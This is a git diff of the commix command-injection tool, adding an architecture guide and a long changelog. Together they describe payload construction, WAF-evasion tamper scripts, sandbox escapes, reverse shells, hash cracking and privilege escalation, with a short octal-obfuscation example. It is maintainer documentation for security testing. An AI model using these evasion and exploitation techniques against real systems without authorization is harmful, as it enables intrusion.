+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
+Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
\ No newline at end of file
diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md
new file mode 100644
index 0000000000..80b356fdc9
--- /dev/null
+++ b/doc/ARCHITECTURE.md
@@ -0,0 +1,285 @@
+# How commix is put together
+
+Written for somebody about to change something and wanting to know what they are standing on. It
+follows a payload: where it is built, what it is wrapped in, how it leaves, what is made of the
+answer, and what survives to the next target. The source settles anything this disagrees with.
+
+## A payload's journey
+
+A run is one loop around a target, and a target is one loop around its parameters.
+
+`commix.py` checks the interpreter and hands over to `src/core/main.py`. `run()` settles what can be
+settled before there is a target at all - `src/core/startup.py: bootstrap()` - and then finds the
+targets: a URL, a request file, a proxy log, a bulk file, a crawl, a sitemap, standard input.
+
+For each of them `main()` connects once and reads that answer for everything it can tell: the
+character encoding, the web server, the technology behind it, the operating system. The page itself
+is kept (`requests.capture_original_page()`), because what a parameter is later compared against,
+what the forms are parsed out of and what the proof is written from all want the same page, and none
+of them is worth a second request.
+
+Then `controller.do_check()`, and from there the shape is:
+
+ perform_checks() which places are tested, and in what order
+ injection_process() one parameter: heuristics, then technique after technique
+ do_injection() a finding - report it, store it, go on to exploitation
+
+`perform_checks()` walks the URL, the POST body, the cookies, the standard headers and any custom
+header. How far down that list it gets is what `--level` decides.
+
+## What is being injected into
+
+Two different things, and the distinction runs through the whole tree.
+
+**A shell.** The value is handed to a command. A payload is a command chained onto the original with
+a separator, and what makes it work is the shell's syntax.
+
+**An evaluator.** The value is evaluated as code in the application's own language (`--eval`). A
+shell separator means nothing here - a semicolon is a semicolon in a PHP statement, not a chain. The
+payload has to be valid code in the language doing the evaluating.
+
+The techniques are the same for both, so the two sinks are two sets of payload builders behind one
+set of handlers:
+
+| | shell | evaluator |
+|--|-------|-----------|
+| payloads | `src/core/techniques//*_payloads.py` | `src/core/eval/payloads/.py` |
+| where the syntax comes from | the target's shell | `src/core/eval/grammars/php.py`, `python.py` |
+
+A grammar carries its own probe, the functions that run a command, the boundaries that break into an
+evaluated string and close it again, and the print statement results come back through. Teaching
+commix another language is a new module in `grammars/` and nothing else.
+
+## The techniques
+
+Each one is three modules with the same shape, and reading them in this order is the fastest way to
+understand any of them:
+
+ *_payloads.py what gets sent
+ *_injector.py sending it and reading the answer
+ *_handler.py running the technique, and pulling output through it once it works
+
+| Technique | Package | Asked for with | Where the answer is read |
+|-----------|---------|----------------|--------------------------|
+| results-based | `techniques/results_based/` | `--technique=r` | the page |
+| dynamic code evaluation | `eval/` | `--eval=` | the page |
+| boolean-based | `techniques/boolean_based/` | `--technique=b` | which of two pages the answer resembles |
+| time-based | `techniques/time_based/` | `--technique=t` | how long the answer took |
+| file-based | `techniques/file_based/` | `--technique=f` | a file under the web root |
+| tempfile-based | `techniques/tempfile_based/` | under `f`, where the web root cannot be written | a file in a temporary directory |
+| out-of-band | `techniques/oob/` | `--oob` | a request the target makes to a server you control |
+
+`AVAILABLE_TECHNIQUES` is `r`, `b`, `t`, `f` and nothing else. Out-of-band is kept out of it on
+purpose: it is a switch, so that the modules can use it too, and those never go through
+`--technique`. The evaluator composes with the four letters rather than replacing them -
+`EVAL_TECHNIQUE_LETTER` is what it went by before `--eval` existed, kept so that stored sessions
+still read, and `c` is what results-based was called before it was renamed.
+
+Every blind technique retrieves a character at a time and bisects on its ordinal. The payload
+therefore asks a yes/no question, and the technique's own channel - a delay, a file, a request made
+elsewhere, the page itself - carries the yes. Only the boolean-based one pays nothing for asking,
+which is also why it alone can overlap its requests: nothing is being measured, so `--threads`
+speeds it up where it would corrupt a technique reading the clock.
+
+## Building the payload
+
+A command becomes a payload by being wrapped and carried.
+
+**Boundaries.** `settings.PREFIXES`, `SUFFIXES` and `SEPARATORS`, narrowed to the level in force by
+`apply_injection_level()`, which reads them off the `_LVL1/2/3` lists.
+`handler.py: _boundary_combinations()` walks every combination worth sending and drops the ones that
+collapse onto something already tried - a prefix that is itself a separator arrives as the empty
+prefix that was tried first, and a suffix is dead against a payload that has already closed itself.
+
+**Choosing among them.** `--test-filter` and `--test-skip`, through `checks.test_selected()`, asked
+of every boundary rather than of the technique as a whole.
+
+**Whitespace.** `settings.WHITESPACES`, which a tamper script is allowed to rewrite.
+
+**Tampering.** One script per file in `src/tamper/`. A script defines `tamper(payload)` and hands it
+back rewritten. Where a script needs the whole request instead of the payload, `xforwardedfor.py` is
+the precedent, hooked in `headers.do_check()`. `checks.tamper_scripts()` loads them and
+`perform_payload_modification()` applies them in order.
+
+**Carriers.** Where the parameter's value arrived written in something - Base64, hex, whatever
+`--param-encoding` names or detection worked out - the payload is written out the same way. A value
+answered in a different encoding from the one it came in is not that parameter's value.
+
+## Getting it there and back
+
+`src/core/requests/`
+
+Every request leaves through one door. `headers.check_http_traffic()` builds the opener, applies the
+policy, sends, reads and logs. A caller that wants to read or time the answer itself goes through
+`headers.send_raw()`, which still applies the policy and is still counted. `requests.py` is what the
+rest of the code actually calls: `get_request_response()`, the per-technique request builders, the
+page-stability check.
+
+Two things to know before changing anything here, both learned the hard way:
+
+- **`settings.TOTAL_OF_REQUESTS` is not just a tally.** `stability.should_keep_retrying()`,
+ `expand_retry_budget()` and `request_was_retried()` all read it. Count a request without growing
+ the budget beside it and the retry loop starves - after which every later request quietly falls
+ through to a bare fallback, taking the traffic log, the proxy and the redirect handling with it.
+- **What is applied to one request path has to be applied to all of them.** `--retry-on` was once
+ honoured on the technique's requests but not on the two samples the stability check compares, and
+ that alone was enough to make a target that refuses at random look uninjectable: the two samples
+ differed, so the element the result prints into was set aside as noise for the rest of the run.
+
+The rest is one concern per file - `anticsrf.py`, `authentication.py`, `cookies.py`,
+`redirection.py`, `keepalive.py`, `chunked.py`, `proxy.py`, `tor.py`, `hooks.py` for
+`--preprocess`/`--postprocess`, `mining.py` for `--mine-params`/`--mine-endpoints`, and
+`reproduce.py`, which writes a finding out as a command you can run yourself.
+
+### What a body is made of
+
+`parameters.py` decides what counts as a parameter. A POST body is recognised by its shape and split
+accordingly, in `configure_post_data_format()` and `split_post_parameters()`:
+
+| Shape | Flag | Split into |
+|-------|------|------------|
+| form | - | `name=value` pairs |
+| JSON | `IS_JSON` | members, flattened, named by the path they sit at |
+| SOAP/XML | `IS_XML` | elements, keeping the layout so the document can be rebuilt |
+| GraphQL | `IS_GRAPHQL` | the document cut after each argument, so the pieces joined are the document again |
+
+A structured body is never form-encoded. It escapes for its own syntax and goes out under its own
+content type, because a percent-encoded payload inside a JSON string is not a payload any more.
+
+## Deciding what it means
+
+`src/core/controller/checks.py` is the biggest file in the tree and holds everything that is not one
+technique's business: the heuristics, the false-positive re-check, page comparison and dynamic-region
+marking, protection handling, option validation, and the wording of what gets reported.
+
+For one parameter the order is: whether it is dynamic at all (`--skip-static`), whether it is worth
+the full set (the heuristic), then technique after technique until one confirms - and then the
+finding is re-proved before anybody is told about it.
+
+## Once it works
+
+| File | What it does |
+|------|--------------|
+| `controller/handler.py` | runs a command through the confirmed point and reads the output back |
+| `controller/injector.py` | the retrieval loop, threaded where the technique allows |
+| `controller/enumeration.py` | the target facts `--all` and its friends ask for |
+| `controller/file_access.py` | `--file-read`, `--file-write`, `--file-dest` |
+| `controller/shell_options.py` | the `--os-shell` prompt |
+| `controller/proof.py` | `--proof` - re-prove every finding and write the transcript beside the output |
+| `core/shells/` | the shells themselves: reverse and bind TCP, the relay, the modes |
+
+## What survives
+
+**Within a run**, from one target to the next: nothing learned about one may read as true of
+another. `settings.reset_target_state()` records a baseline the first time it runs and restores it
+for every target after. `RUN_WIDE_STATE` names what is exempt - what the user asked for, what has
+been answered once and should not be asked again, the tallies kept across targets. Everything else
+is per-target, and **a new name is per-target unless it is listed**; the omission that used to leak
+is now the safe direction. `RESTORED_OPTIONS` covers the options a target's own testing can change
+and which the next target is entitled to see as the user left them.
+
+**Between runs**: `src/utils/session_handler.py`, one SQLite file per target holding the injection
+points and what was learned, which is why a second run answers at once. `--flush-session` discards
+it, `--ignore-session` leaves it in place and ignores it.
+
+**On disk**: `.output/_/` (`settings.OUTPUT_DIR`), with `logs.py` writing the run's own
+log, `--report-json` and `--results-file`; `-t` writing the HTTP traffic from `headers.py`, and
+`--har` writing it through `src/utils/har.py`. The JSON report is rewritten whenever it grows, and
+renamed into place rather than written in, so that something watching it never reads it halfway
+through a rewrite.
+
+## Driving it from somewhere else
+
+`commixapi.py` serves a REST API over `src/utils/api.py`, in which a scan is a **task**: created,
+given options under the names the command line knows them by, started, then read while it runs and
+after it ends. `Task` holds one, `Store` holds them all, and `ROUTES` maps an address to the method
+that answers it.
+
+A task runs commix as a process of its own, started from a configuration file written with
+`parse/configfile.py: save()` - the same file `-c` loads. It has to be a process: a run is settled
+in module-level state written once and read everywhere, so two of them inside one would be one run
+with two sets of answers.
+
+The API reads nothing of its own. `/scan//data` hands back the `--report-json` file the run is
+writing, which is why a run started from a command line and one started over HTTP cannot answer
+differently; `/scan//log` parses what the process printed. The report carries a `status` from
+the moment it is opened, and `logs.py: finalize_report()` settles it at every way out - including
+the two that never unwind, `--time-limit`'s alarm and `checks.exit()`.
+
+`api` in `/version` is the version of the contract, counted apart from commix's own, so a client
+can tell whether it still knows how to talk to a newer one.
+
+## Where things live
+
+| Path | What is in it |
+|------|---------------|
+| `src/core/main.py` | the run |
+| `src/core/parse/` | the command line, the configuration file, a raw request file |
+| `src/core/controller/` | orchestration, detection, exploitation, enumeration, proof |
+| `src/core/requests/` | everything that reaches the network, and what a parameter is |
+| `src/core/techniques/` | one package per technique |
+| `src/core/eval/` | the evaluator sink - its grammars and its payloads |
+| `src/core/oob/` | the out-of-band channel, its provider and its keys |
+| `src/core/shells/` | interactive shells and the TCP handlers |
+| `src/core/modules/` | injection that needs no ordinary parameter |
+| `src/tamper/` | payload-rewriting scripts |
+| `src/utils/` | settings, session, logs, crawler, progress, install, update, the REST API |
+| `src/thirdparty/` | bundled libraries, so that a run needs nothing installed |
+| `data/txt/` | word lists read at runtime |
+| `tests/` | the offline suite, which no run of commix itself reaches |
+
+Two objects carry the run, and neither is passed around - both are imported where they are read.
+`src/utils/settings.py` holds the constants and the mutable run state, and is where a new constant
+goes. `menu.options` holds what the user asked for, as `optparse` produced it.
+
+Names are `lower_snake_case`, constants `UPPERCASE`, indentation is two spaces, and every comment
+and docstring is one line.
+
+## Adding something
+
+| To add | Start at |
+|--------|----------|
+| an option | `parse/cmdline.py`, then `core/options.py: validate()` for combinations that cannot hold |
+| a constant | `utils/settings.py` |
+| a tamper script | a file in `src/tamper/`, then the registry in `settings.TAMPER_SCRIPTS` |
+| a technique | a package under `core/techniques/`, then `execution.select_injector()` and `settings.TECHNIQUE_ORDER` |
+| a language for `--eval` | a module in `core/eval/grammars/` |
+| a body format | `parameters.configure_post_data_format()` and `split_post_parameters()` |
+| a module | the `MODULES` map in `core/modules/modules_handler.py`, and `settings.MODULES` |
+| an API address | `ROUTES` in `utils/api.py`, then the method of the same name on `Api` |
+
+And when something is already wrong: the wire is `requests/headers.py`, whether a parameter was
+tested at all is `controller.py: perform_checks()`, whether a finding was believed is `checks.py`,
+what a run remembers is `session_handler.py`, and state bleeding from one target into the next is
+`settings.RUN_WIDE_STATE`.
+
+## Checking a change
+
+Four layers, none of which needs a target.
+
+`tests/` is an offline suite written against the standard library's `unittest` alone - nothing to
+install, no network, and no payload leaving the machine. It pins what reading the code does not
+catch: that no payload and no tamper script carries an operator other than the separator under
+test, that a script declared for one shell answers for the other, that a rewrite leaves a command's
+arguments as they were given, that every grammar declares what the techniques ask it for, and that
+the word lists hold no repeat. Run it from the root with
+`python -m unittest discover -s tests -t .`.
+
+A sweep that finds nothing must not pass, so each one counts what it swept before it reads it -
+a suite that quietly stopped looking is the one failure none of the assertions below it would show.
+
+`--smoke-test` imports every module in the tree, which catches a name that moved or a file that
+stopped parsing - neither of which the suite above would reach - and then runs the examples each
+module's own docstrings carry, as doctests. An example that stops holding fails the smoke test.
+
+`pyflakes` is the layer before either: a name that moved, an import left behind, a variable read
+before it is set. None of those raises until the line is reached, and most of those lines are only
+reached against a target, so nothing else here would find them.
+
+`coverage` measures the first two together against two floors. The whole-tree one is dominated by
+the modules that only run against a target - the orchestration, the request layer - which no
+offline suite reaches, so on its own it would ratchet nothing; the second covers what a payload is
+built out of, where a change lands and where the suite can hold a real line. Both are floors to
+raise rather than targets to argue with.
+
+All four run in `.github/workflows/builds.yml`, alongside the API's own start-up.
diff --git a/doc/AUTHOR b/doc/AUTHOR
deleted file mode 100644
index 0f42877870..0000000000
--- a/doc/AUTHOR
+++ /dev/null
@@ -1,2 +0,0 @@
-Anastasios Stasinopoulos
-https://stasinopoulos.github.io/
diff --git a/doc/AUTHOR.md b/doc/AUTHOR.md
new file mode 100644
index 0000000000..765c904dbb
--- /dev/null
+++ b/doc/AUTHOR.md
@@ -0,0 +1,7 @@
+Author and core maintainer of **Commix Project**:
+
+**Anastasios Stasinopoulos** (**[@ancst](https://x.com/ancst)**)
+
+[`Site`](https://stasinopoulos.github.io/) • [`GitHub`](https://github.com/stasinopoulos) • [`X`](https://x.com/ancst) • [`Email`](mailto:a.stasinopoulos@protonmail.com)
+
+Everyone who has given something to commix is listed in [`THANKS.md`](THANKS.md).
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 605a451e9a..ffc3945fb5 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,59 +1,414 @@
+## Version 4.2 (TBA)
+* Revised: Tamper script `printf2echo.py` now switches every payload, both detection and exploitation, from `printf` to `echo`, for a target that refuses `printf` by name.
+* Fixed: Command output carrying a backslash (e.g. "C:\temp\new") or starting with "-n", which came back altered because payloads printed it with "echo".
+* Added: New tamper script `phpregreplace.py`, carrying a payload through the replacement string of a PHP sink evaluated by `preg_replace()`'s "e" modifier.
+* Fixed: The switch `--null-connection`, which reads no page body, was left to run alongside an option that reads one (`--string`, `--not-string`, `--regexp`, `--text-only`, `--titles`), leaving every boolean answer the same.
+* Added: New switch `--titles`, comparing pages by their title alone - for a target whose page moves by itself everywhere except the line naming what it rendered.
+* Fixed: Payload generation for certain separator and tamper script combinations, which could produce a payload the shell cannot run.
+* Fixed: Retrieval of non-ASCII execution output, which could come back incomplete.
+* Added: An offline test suite, run with `python -m unittest discover -s tests -t .`, covering the payload builders, the tamper scripts, the evaluator grammars and the word lists.
+* Added: New tamper script `luadebugescape.py`, reaching a Lua sink evaluated with a restricted environment through `debug.getregistry()._LOADED`.
+* Added: New `--eval=lua` support, for a sink evaluating Lua.
+* Added: New `--eval=perl` support, for a sink evaluating Perl.
+* Added: New tamper script `space2randomblank.py`, varying the whitespace substitute per occurrence instead of one for the whole payload.
+* Added: New tamper script `basicobjectescape.py`, reaching a Ruby sink evaluated inside a `BasicObject`.
+* Added: New tamper script `pybuiltinsescape.py`, reaching a Python sink evaluated with `{"__builtins__": {}}`.
+* Added: New tamper script `nashornexec.py`, reaching a sink evaluating JavaScript through Java's Nashorn engine rather than Node.
+* Added: New tamper script `jsvmescape.py`, escaping a Node `vm` sandbox to reach `require()`.
+* Fixed: PHP code injection (`--eval=php`) not closing its own statement at the default level.
+* Added: New tamper script `phpnosymbols.py`, rewriting a PHP eval-sink payload for filters blocking digits and quotes.
+* Added: New tamper script `noletters.py`, globbing a bare command name for targets blocking every letter.
+* Added: The out-of-band channel now falls back through five more public interactsh servers if `oast.fun` does not answer.
+* Added: The out-of-band DNS lookup on Windows now also tries `Resolve-DnsName`, alongside `nslookup`.
+* Added: New options `--lengths` (bisect the boolean-based technique on content length instead of content) and `--null-connection` (read that length off the `Content-Length` header, with no body downloaded at all, past a minimum page size).
+* Fixed: `--skip-static` could mark a genuinely injectable parameter as static and skip it, against a target whose response is never byte-identical twice (e.g. a live `ping`).
+* Added: `-l`/`--logfile` now also reads a HAR export (the format `--har` itself writes to), alongside the proxy-log and XML-history formats it already read.
+* Added: New tamper script `printfoctal.py`, hiding command names/paths via `printf` octal escapes (`$(printf '\143\141\164')`), for shells lacking `ansiquote`/`ansiquoteoctal`'s ANSI-C quoting (e.g. `dash`).
+* Fixed: `--csrf-token` without `--csrf-url` crashing the run (discarding already-confirmed findings) whenever an auxiliary request, such as document-root discovery, didn't carry the token.
+* Added: WAF/CDN product identification (`Cloudflare`, `Akamai`, `Imperva Incapsula`, `F5 BIG-IP ASM`, `Sucuri`, `ModSecurity`, `FortiWeb`, `Citrix Application Firewall`, `Barracuda WAF`, `Wallarm`, `AWS WAF`) on a blocked response, named in the "blocked IP", "browser verification" and "CAPTCHA" warnings as well as the generic WAF/IPS one.
+* Added: New `commixapi.py` for driving runs over a REST API, as a server or a client, each scan a task of its own with its options, status, results and log.
+* Added: New option `-z` for naming options by as much of their name as tells them apart (e.g. `-z "flu,bat,tec=rt"`).
+* Added: New switch `--dependencies` for reporting which of the third-party libraries and tools each option needs are installed on this host.
+* Added: Support for reaching the out-of-band server through the `--oob-transport` clients `php`, `ruby` and `openssl`.
+* Added: New switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point.
+* Added: A directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/`.
+* Added: Dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically.
+* Added: New option `--pty` for upgrading a plain reverse/bind TCP shell to a full interactive PTY.
+* Added: New option `--priv-esc` for running Metasploit's `local_exploit_suggester` automatically the instant a Meterpreter session opens.
+* Added: New option `--cleanup` for removing what `--file-write` or `--reg-add` just wrote to the target.
+* Added: New option `--common-files` for checking a bundled wordlist of common sensitive paths for existence on the target, as a lead into `--file-read`.
+* Added: New options `--reg-read`, `--reg-add` and `--reg-del` for reading, writing and deleting a Windows registry key (value), with `--reg-key`/`--reg-value`/`--reg-data`/`--reg-type`.
+* Added: New tamper script "dashlesstest.py", that runs `test`'s numeric comparisons without a `-` of their own, for a target that strips a bare `-` outright.
+* Added: New tamper script "phpnoletters.py", that runs `--eval=php` payloads with no ASCII letter in them, reaching PHP's own execution functions through a name built from octal escapes.
+* Added: Support for PowerShell code injection through the `--eval=powershell` language.
+* Added: Support for Node code injection through the `--eval=javascript` language.
+* Added: Support for Ruby code injection through the `--eval=ruby` language.
+* Added: New option `--skip-subst` that confirms the time-based technique with a plain, uncomputed delay, instead of command substitution.
+* Added: New tamper script `cmd2redir.py` that rewrites a user-supplied `command path` as `command<>path`, folding away the one space between them for a target that lets no whitespace through at all.
+* Added: New tamper script `unicodequote.py` that replaces single quotes with the fullwidth apostrophe (`U+FF07`), for filters that strip a literal quote before a later Unicode normalization step folds it back into one.
+* Added: New tamper script `space2ifsraw.py` that replaces spaces with `$IFS$9` (no braces, no quotes), for filters that block both at once.
+* Added: New tamper script `ansiquoteoctal.py` that rewrites command names and paths as ANSI-C quoted octal escapes, for filters that block every letter (including the 'x' `ansiquote`'s hex escapes need).
+* Revised: The file-based technique's temporary-directory variant now reads the created file through a calibrated Boolean-based oracle where possible, falling back to delay-based reading.
+* Added: New option `--auth-file` for authenticating with a client certificate during the TLS handshake instead of using authentication headers.
+* Added: New switch `--hpp` for sending a tested parameter twice, placing the payload in the occurrence read by the target and a filter-accepted value in the one inspected.
+* Added: New option `--openapi` for deriving targets from an OpenAPI (Swagger) description, with `--openapi-base` for a specification that names no host of its own and `--openapi-tags` for taking only part of a large API.
+* Added: New boolean-based blind injection technique, reading its answer off the page rather than off a delay, with `--string`, `--not-string`, `--regexp` and `--code` for saying what a true answer looks like.
+* Added: New switches `--mine-params` and `--mine-endpoints` for finding the parameters a target reads but names nowhere, and the endpoints only its own scripts name.
+* Added: New tamper script `phpserverheaders.py` that moves the function and the command out of the payload and into HTTP headers it reads back through `$_SERVER`.
+* Added: New options `--preprocess` and `--postprocess` for reshaping a request before it is sent and a response before the run reads it, which a tamper script cannot reach.
+* Added: New options `--test-filter` and `--test-skip` for choosing which payload boundaries a technique is tried with.
+* Added: New options `--save` and `-c` for keeping the options a run was given in a configuration file, and running from one.
+* Added: New option `--har` for logging the run's HTTP traffic in the archive format proxies and browsers read.
+* Added: New option `--results-file` for collecting the findings of every target tested into a CSV file.
+* Added: New switch `--parse-errors` for parsing known shell and interpreter error signatures from responses.
+* Revised: Text resource files were moved from the `src/txt` to the `data/txt` directory.
+* Added: Summary of the identified command shell, web application technology and operating system, printed after the injection point(s).
+* Added: New switch `--proof` for demonstrating exploitation of each injection point found, with the evidence written beside the run's other output.
+* Added: New switch `--cleanup` for removing the file a technique left on the target, without being asked about it.
+* Revised: The shellshock module is now selected with `--module`, which takes the name of any registered injection module.
+* Improved: Enhanced HTTP error handling and response stability detection, with clearer handling of target-side errors, unstable content, and non-testable HTTP responses.
+* Improved: Replaced the `base64encode.py` and `hexencode.py` tamper scripts with the new `--param-encoding` option for handling encoded parameter values.
+* Added: New switch `--text-only` for comparing pages based only on their textual content.
+* Fixed: Switch `--skip-calc` handling across heuristic, false-positive re-check and out-of-band tests.
+* Added: New switch `--eta` for showing how much of the output is left to retrieve and how long it is expected to take.
+* Added: New switch `--no-truncate` for showing the retrieved output in full.
+* Added: New switch `-hh`, with `-h` now listing the options a first run is made of.
+* Added: Bundled the "chardet" library and a built-in Brotli decoder to handle pages regardless of their character encoding or compression format.
+* Added: New options `--second-url` and `--second-req` for reading the result of an injection from the page it shows up on.
+* Added: New options `--csrf-token`, `--csrf-url`, `--csrf-method`, `--csrf-data` and `--csrf-retries` for testing targets that check an anti-CSRF token.
+* Added: New options `--proxy-file`, `--proxy-freq` and `--proxy-cred` for using a list of proxies and the credentials they ask for.
+* Added: Support for SOCKS4/5 proxies given with the `--proxy` option.
+* Added: New option `--retry-on` for repeating a request whose response content matches a given regexp.
+* Added: New options `--safe-url`, `--safe-post`, `--safe-req` and `--safe-freq` for visiting a harmless URL every so many requests.
+* Added: New switch `--unstable` for doubling the delay, the retries and the timeout on an unreliable connection.
+* Added: Bundled the "PySocks" library, so that the Tor service can be reached over SOCKS directly.
+* Added: New switches `--skip-urlencode` and `--skip-xmlencode` for sending payload data without the encoding a carrier would otherwise get.
+* Added: New options `--param-exclude` and `--param-filter` for choosing testable parameters by name and by place.
+* Added: New option `--tor-type` and new switch `--check-tor` for choosing how Tor is reached and confirming that traffic goes through it.
+* Revised: Payload data placed in a SOAP/XML body is now encoded for the document, keeping it well-formed.
+* Added: New switch `--ignore-timeouts` for skipping requests that time out, instead of ending the run.
+* Added: New switch `--skip-static` for skipping the parameter(s) that do not appear to be dynamic.
+* Added: New switch `--disable-stats` for reading time-related results against the delay alone.
+* Added: New option `--jitter` for adding a random number of seconds to the delay between requests.
+* Added: New option `--randomize` for giving the value of the given parameter(s) a new value per request.
+* Revised: Characters that the time-related techniques never resolved are re-attempted once, and marked in the retrieved output instead of being dropped from it.
+* Added: New tamper script `pyhexname.py`, that runs the command through a Python module and function named in hex.
+* Added: New tamper script `phpconcat.py`, that runs the command through a PHP function named in concatenated pieces.
+* Added: New option `--type` to select injection techniques by the injection type they report (i.e. `c` for classic, `b` for blind).
+* Revised: Renamed the "classic" technique to "results-based", after how its result comes back, so `--technique` now takes the letters `r`, `t` and `f` (e.g. `--technique="rtf"`).
+* Revised: The "file-based" technique is now reported as a "blind" injection type.
+* Added: New tamper script `phphexname.py`, that runs the command through a PHP function named in hex.
+* Added: New tamper script `sleep2ping.py`, that replaces `sleep` with the wait between `ping` packets in a given payload.
+* Added: New tamper script `cmd2var.py`, that splits the name of the user-supplied operating system command across unset shell variables.
+* Added: New tamper script `cmd2wildcard.py`, that replaces the paths in the user-supplied operating system command with wildcards.
+* Added: New tamper script `ansiquote.py`, that rewrites the command names and paths in a given payload as ANSI-C quoted hex.
+* Added: New tamper script `space2brace`, which replaces the space character (%20) with a brace expansion (`{a,b}`) in a given payload.
+* Added: New tamper script `dollarstars.py`, which adds dollar sign followed by an asterisk (`$*`) between the characters in a given payload.
+* Added: New tamper script `cmd2loop.py`, which wraps a payload's command in a single-iteration "for" loop, so that it follows a shell keyword rather than a separator.
+* Added: Code injection now supports Python as well as PHP, over every technique.
+* Added: The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based.
+* Added: New `--eval` switch to test for code injection, optionally naming a language (e.g. `--eval="php"`), which combines with any technique given with `--technique`.
+* Fixed: The out-of-band (DNS) payloads chain their own commands with the separator being tested, instead of always with `||`.
+* Fixed: Several issues affecting the response-time model, the identification of the target's operating system, stored session data, and the files left on the target.
+* Fixed: Several issues affecting the parsing of the provided request data and the placement of the injection point.
+* Fixed: A parameter given with `-p` no longer stops anti-CSRF parameters from being skipped everywhere else.
+* Fixed: HTTP error codes met during a scan are no longer added to the list of codes given with `--ignore-code`.
+* Added: Parameters holding session or framework state (e.g. "__VIEWSTATE", "PHPSESSID") are skipped unless asked for by name.
+* Fixed: Recognition of anti-CSRF ("nonce") and Google Analytics ("_ga", "_gid", "_gat", "_gcl_au") parameters.
+* Fixed: The reduced number of retries for multiple targets is applied again.
+* Added: The delay between requests is raised by itself when the target starts rate-limiting, and lowered again once it stops.
+* Added: Each identified injection point is now reported with a `curl` command that reproduces it.
+* Added: New `--load-cookies` option to load cookies from a file in Netscape/wget format.
+* Added: New `--live-cookies` option to re-read cookies from a file before every request, following a session that is refreshed elsewhere.
+* Added: The JSON report now records whether a WAF/IPS was detected and which evasion was applied.
+* Fixed: A blocked WAF/IPS detection probe is no longer treated as an unreachable target.
+* Added: New `--chunked` switch to split POST data into HTTP chunked transfer-encoded requests.
+* Added: New `--scope` option to filter targets by regular expression.
+* Added: Support for testing multiple HTTP requests parsed from a single request or proxy log file.
+* Fixed: Request file parsing preserves multi-line bodies and original header names.
+* Fixed: Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. "host") are no longer treated as headers.
+* Revised: Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support.
+* Added: New `-o` switch to turn on all optimization switches.
+* Added: Persistent (Keep-Alive) connections are now used by default, with a new `--no-keep-alive` switch to opt out.
+* Added: New `download` and `upload` commands in the `os_shell` mode, to transfer files during shell interaction.
+* Added: New `--report-json` option to store run results to a JSON file.
+* Added: New `--abort-on-empty` switch to abort data retrieval on empty results.
+* Revised: Renamed `--alter-shell` to `--interpreter` for clarity.
+* Added: New `--os-shell` switch to directly request a command shell.
+* Revised: Improved crawling reliability against HTTPS targets.
+* Revised: Improved stdin parsing to stream targets for use with piped/chained input.
+* Revised: Improved detection engine reliability when choosing to continue testing.
